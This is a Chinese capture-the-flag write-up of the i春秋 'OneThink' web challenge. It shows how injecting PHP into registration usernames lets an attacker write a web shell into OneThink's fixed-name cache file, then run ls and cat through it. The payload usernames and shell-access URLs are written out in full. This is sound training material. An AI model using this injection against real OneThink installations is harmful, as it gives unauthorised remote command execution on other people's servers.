来源信息
- i春秋
- 题目名称:OneThink
- 类型:Web
- 难度:★★☆☆☆
- 题目地址:链接
- 题目内容:利用已知的漏洞拿shell吧
解题过程
打开链接可以看到博客首页信息,其他的啥也没有。F12看了一下压源代码,也没有任何的注释,只能再试试。看到是OneThink框架,猜测可能需要利用版本漏洞,但是找了一圈没有找到框架的版本号,只能搜索了。
于是直接google OneThink漏洞,找到了这一篇文章。
漏洞原因:注册用户的时候会在/Runtime/Temp路径下生成文件名固定的缓存文件,里面的用户名由用户进行注册,没有进行过滤,导致了命令执行。
https://bbs.ichunqiu.com/thread-4918-1-1.html
原漏洞复现
先创建一个账号试试。
这里直接试了试 username == phpinfo()
使用burpsuite抓包,然后将用户名修改成phpinfo(),同时需要将其编码,然后在后面加入 //,参考上面的链接。
注册成功会返回到登陆页面
然后完成登陆,**只有成功登陆才会将phpinfo()写入到缓存文件中**。
OneThink的漏洞是将缓存写入到一个固定的文件中。所以直接访问http://f120ee497a764414a70c37188425a46252579bdd15f34a9d.changame.ichunqiu.com /Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php 即可查看phpinfo页面了。
这里有几点需要注意:
- 注册的时候需要添加 // 进行注释。
- 注册完成要登陆之后才会写入到缓存文件中,如果不登陆就不会有缓存。
- 在bp改包的时候需要对URL进行编码处理。
构造命令拿flag
既然是命令执行,缓存文件是php,所以只需要
1 | <?php |
但是账号长度是有限制的,所以我们需要分别注册两个账号,将两段命令写入缓存文件,这里注册两个账号分别是:
- \r\n$a=$_GET[a];//
- \r\nsystem($a);//
注册的时候也需要使用bp进行改包注册,注册完要进行登陆。
这里重新创建了一个赛题。
成功创建并完成登陆。
完成命令的写入后只需要执行命令行找到flag文件即可。
/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls
成功查看到目录下的文件,所有说明命令写入成功。
然后使用cat命令查看flag.php,发现页面上无内容。
/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php
但是打开F12,直接查看源代码找到flag。
flag{0a250cde-5ad1-49d4-9871-a48889d1de45}